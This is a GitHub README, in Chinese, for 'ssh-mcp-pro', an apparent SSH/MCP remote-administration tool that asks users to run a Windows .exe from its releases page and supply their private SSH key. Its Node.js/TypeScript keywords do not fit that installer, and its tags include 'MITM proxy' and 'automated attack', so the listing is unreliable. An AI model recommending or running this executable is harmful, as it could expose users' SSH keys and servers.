saltshakersandwich509/ssh-mcp-pro
GitHub: saltshakersandwich509/ssh-mcp-pro
ssh-mcp-pro 通过 Model Context Protocol 和 SSH 协议将本地 LLM 工具连接到远程服务器,实现命令执行、文件管理与工作流自动化的远程运维工具。
Stars: 0 | Forks: 0
# 🛡️ ssh-mcp-pro - 通过自动化安全管理远程系统
[](https://github.com/saltshakersandwich509/ssh-mcp-pro/releases)
## 这个工具是什么?
这款应用程序允许您通过安全接口管理远程服务器和基础设施。它使用 SSH 连接到您的远程机器,并遵循特定的规则以确保您的操作安全。您可以使用此工具来运行命令、管理文件和自动化重复的服务器任务,而无需每次都输入冗长的代码。该工具充当本地计算机与远程服务器之间的桥梁,为您的命令创建一条安全的路径。
## 💻 系统要求
您的计算机必须满足以下基本要求才能有效运行该软件:
* 操作系统:Windows 10 或 Windows 11。
* 内存:至少 4 GB 的 RAM。
* 存储空间:至少 200 MB 的可用空间。
* 网络:稳定的互联网连接。
请确保您在远程服务器上的账户具有运行您打算发送的命令的正确权限。您还应准备好 SSH 密钥,因为这是建立与服务器安全连接的标准方法。
## 📥 如何开始使用
请按照以下说明在您的 Windows 机器上设置该软件:
1. 访问[发布页面](https://github.com/saltshakersandwich509/ssh-mcp-pro/releases)下载安装程序。
2. 选择适合您系统架构的以 `.exe` 结尾的文件。
3. 将文件保存到桌面或您容易找到的文件夹中。
4. 双击该文件以开始安装。
5. 按照屏幕上的提示完成设置。
6. 安装程序完成后,从“开始”菜单打开应用程序。
## ⚙️ 设置您的连接
软件打开后,您必须将其连接到您的服务器。
1. 点击主菜单中的“Add Host”按钮。
2. 在“Host”字段中输入您的远程服务器地址。
3. 提供您在该服务器上的用户名。
4. 选择计算机上私钥 SSH 密钥文件的位置。
5. 点击“Save”保存这些设置以供将来使用。
软件会测试连接以确认您具有访问权限。如果测试失败,请验证您的 IP 地址和服务器凭据是否正确。
## 🛠️ 使用各项功能
此工具将您的工作流程划分为清晰的步骤。您可以从常见的服务器任务列表中进行选择,也可以自定义任务。
### 远程执行
要在您的服务器上运行命令,请在输入框中键入命令并点击“Execute”。软件会在下方的窗口中显示命令的输出。在发送命令之前,它会根据已知的安全规则对您的命令进行检查。这可以防止对您的服务器文件造成意外更改。
### 工作流自动化
您可以将多个命令组合到一个工作流中。如果您每天都执行相同的任务集,创建工作流会很有帮助。要创建工作流,请选择“New Workflow”并按您希望的运行顺序添加所需的命令。保存工作流并为其命名。然后,您只需单击一下即可运行整个列表。
### 护栏与安全
该工具包含一项称为“护栏”的功能。护栏会阻止在您的服务器上运行危险命令。这可以防止意外删除关键文件或终止基本服务。您可以在设置菜单中查看当前的规则。
## 📝 故障排除
如果您遇到问题,请尝试以下步骤:
* 检查您的互联网连接。缓慢的连接会导致发送命令时超时。
* 验证您的 SSH 密钥是否存在于远程服务器上。
* 检查“Settings”选项卡中的日志以获取具体的错误消息。
* 如果应用程序无响应,请重新启动它。
如果问题仍然存在,请确保您的防火墙没有阻止该应用程序。该程序需要访问用于 SSH 流量的公共网络端口。
## 🔒 安全说明
该应用程序将您的配置数据本地存储在您的机器上。我们建议您将私钥保存在受保护的文件夹中。切勿与他人分享您的密钥。该软件会对您的本地连接设置进行加密,以防止有人在获得了您计算机的物理访问权限时进行未经授权的访问。
## 📦 更新
我们会发布更新以提高性能并修复 bug。请定期打开应用程序以检查有关较新版本的通知。您可以通过访问[发布页面](https://github.com/saltshakersandwich509/ssh-mcp-pro/releases)并覆盖安装现有副本的新文件来获取最新更新。
关键词:automation, devops, infrastructure, linux, mcp, nodejs, operations, remote-automation, security, ssh, terminal, typescript
标签:LLM工具, MCP, MITM代理, SSH, 内存分配, 网络调试, 自动化, 自动化攻击, 运维工具, 远程管理